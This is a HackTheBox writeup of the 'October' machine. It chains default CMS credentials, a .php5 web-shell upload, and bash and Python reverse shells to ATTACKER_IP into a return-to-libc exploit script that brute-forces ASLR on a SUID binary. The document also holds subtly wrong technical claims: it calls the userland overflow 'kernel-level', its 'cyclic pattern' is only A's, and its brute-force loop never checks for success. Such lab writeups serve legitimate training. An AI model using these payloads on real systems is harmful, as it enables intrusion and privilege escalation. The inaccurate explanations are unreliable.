October - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

October presents a two-stage exploitation challenge requiring initial CMS compromise followed by kernel-level buffer overflow exploitation. The machine features a vulnerable October CMS installation with default credentials, leading to remote code execution. The privilege escalation path involves exploiting a custom SUID binary protected by NX/DEP and ASLR, requiring return-oriented programming techniques and blind exploitation through brute-force address discovery. TL;DR: Default October CMS credentials → PHP shell upload → SUID buffer overflow with ROP chain → root access.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- TARGET_IP

Results:

• Port 22/TCP - OpenSSH (SSH access available)
• Port 80/TCP - Apache HTTP Server (web application)

Only two services exposed on the target, with the primary attack surface being the HTTP service.

Service Enumeration

Apache HTTP Server (Port 80):

Web enumeration reveals a standard Apache installation with a content management system in the backend. Directory brute-forcing was performed to identify administrative interfaces.

# Directory enumeration
dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt

Key findings:

• /backend/ directory discovered — October CMS admin login panel
• Default installation of October CMS detected
• No obvious public exploits blocking the /backend route

Vulnerability Assessment

1. Default Credentials on October CMS - Admin:admin credentials are default and rarely changed in lab environments
2. File Upload Filter Bypass - October CMS file upload restriction can be circumvented using .php5 extension
3. SUID Binary Vulnerability - Custom /usr/local/bin/ovrflw binary exhibits buffer overflow characteristics
4. Memory Protection Enabled - Both NX/DEP and ASLR are active, requiring advanced exploitation techniques

Initial Foothold

Exploitation Path

Step 1: Authenticate to October CMS

Access the admin panel at /backend/ and attempt default credentials:

Username: admin
Password: admin

These credentials successfully authenticate, granting administrative access to the CMS.

Step 2: Exploit File Upload Filter

Navigate to the media/file upload section within the admin panel. The standard file upload filter blocks .php extensions but can be bypassed by using .php5:

1. Create a PHP web shell:

<?php system($_GET['cmd']); ?>

2. Save as shell.php5
3. Upload through the admin media manager
4. Access the shell via: http://TARGET_IP/path/to/shell.php5?cmd=id

Step 3: Gain Reverse Shell

Using the web shell, execute a reverse shell payload:

# On attacker machine, start listener
nc -nlvp 4444

# Via web shell, execute reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Alternatively, use a one-liner reverse shell payload through the web interface:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Successfully obtain shell access as the web server user (www-data).

Privilege Escalation

SUID Binary Identification

Execute LinEnum to identify privilege escalation vectors:

# Transfer LinEnum to target
wget http://ATTACKER_IP:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

LinEnum reveals a non-standard SUID binary at /usr/local/bin/ovrflw owned by root with the setuid bit set.

Buffer Overflow Exploitation

Step 1: Confirm Vulnerability

Test the binary with a large input to trigger a segmentation fault:

/usr/local/bin/ovrflw $(python -c 'print("A"*200)')
# Segmentation fault (core dumped)

The binary crashes, confirming buffer overflow vulnerability.

Step 2: Determine Offset

Use gdb and a pattern generator to find the exact offset to EIP overwrite:

# Generate cyclic pattern
python -c 'print("A"*200)' > pattern.txt

# Attach gdb (if available on target) or use local analysis
gdb /usr/local/bin/ovrflw
(gdb) run $(cat pattern.txt)

# Analyze core dump or gdb output
# Result: 112 bytes of padding before EIP overwrite

Step 3: Gather Libc Information

With NX/DEP enabled, a return-to-libc attack is required:

# Get libc base address
ldd /usr/local/bin/ovrflw | grep libc
# Output: libc.so.6 => 0xb75eb000 (example address)

# Find system() function offset
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
# system offset: 0x00040310

# Find /bin/sh string offset
strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# /bin/sh offset: 0x00162bac

Step 4: Construct ROP Payload

Create a Python exploit script that bypasses ASLR through brute-force iteration:

#!/usr/bin/env python
import struct
import subprocess
import sys

# Base libc address (obtained from ldd)
libc_base = 0xb75eb000
system_offset = 0x00040310
bin_sh_offset = 0x00162bac

# Calculate absolute addresses
system_addr = struct.pack("<I", libc_base + system_offset)
exit_addr = struct.pack("<I", 0xd34db33f)  # Dummy exit address
bin_sh_addr = struct.pack("<I", libc_base + bin_sh_offset)

# Build payload: 112 bytes junk + system() + exit + /bin/sh
payload = "\x90" * 112  # NOP sled (padding)
payload += system_addr
payload += exit_addr
payload += bin_sh_addr

# Brute force ASLR
attempt = 0
while True:
    attempt += 1
    if attempt % 10 == 0:
        print("[*] Attempts: {}".format(attempt))

    # Spawn process with payload
    try:
        subprocess.call(["/usr/local/bin/ovrflw", payload])
    except:
        pass

Save as exploit.py and execute:

python exploit.py

The script will iterate through memory layout variations until the payload successfully executes /bin/sh as root. This may require hundreds to thousands of attempts depending on ASLR entropy.

Step 5: Root Access

Once the exploit hits the correct address spacing:

# id command confirms root privilege
uid=0(root) gid=0(root) groups=0(root)

# Capture root flag
cat /root/root.txt

Attack Chain Summary

Enumerate Services (Port 80)
    ↓
Discover October CMS Admin Panel (/backend/)
    ↓
Authenticate with Default Credentials (admin:admin)
    ↓
Bypass File Upload Filter (.php5 extension)
    ↓
Upload Web Shell
    ↓
Obtain Reverse Shell (www-data user)
    ↓
Identify SUID Binary (/usr/local/bin/ovrflw)
    ↓
Test Buffer Overflow Vulnerability
    ↓
Determine Offset to EIP (112 bytes)
    ↓
Gather Libc Base, system(), and /bin/sh Addresses
    ↓
Construct Return-to-Libc ROP Payload
    ↓
Brute Force ASLR with Exploit Script
    ↓
Execute /bin/sh as root
    ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Default credential exploitation in web applications
• File upload filter bypass techniques
• Reverse shell generation and stabilization
• SUID binary identification for privilege escalation
• Buffer overflow vulnerability analysis
• Return-to-libc (ROP) exploitation
• NX/DEP bypass mechanisms
• ASLR brute-force enumeration
• Memory address calculation and struct packing in Python

Lessons Learned

1. Default credentials are a persistent vulnerability - October CMS ships with widely-known default admin credentials that are rarely changed in development/testing environments.

2. File upload filters require multi-layered validation - Single-extension blacklists can be bypassed by using alternative executable extensions like .php5, .phtml, or .php4.

3. SUID binaries are high-value targets - Any non-standard SUID binary should be immediately flagged for analysis, as custom code is more likely to contain vulnerabilities than standard system binaries.

4. Memory protection mechanisms require sophisticated exploitation - NX/DEP and ASLR together necessitate return-oriented programming, gadget chains, or information leaks rather than simple buffer overflow + shellcode approaches.

5. Brute-force exploitation is viable at scale - When ASLR provides limited entropy (32-bit systems), iterative exploitation can reliably achieve code execution within reasonable timeframes (seconds to minutes).

6. Payload construction requires precision - Return-to-libc exploits depend on correct address calculations, proper stack alignment, and accurate function calling convention (cdecl for x86).

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>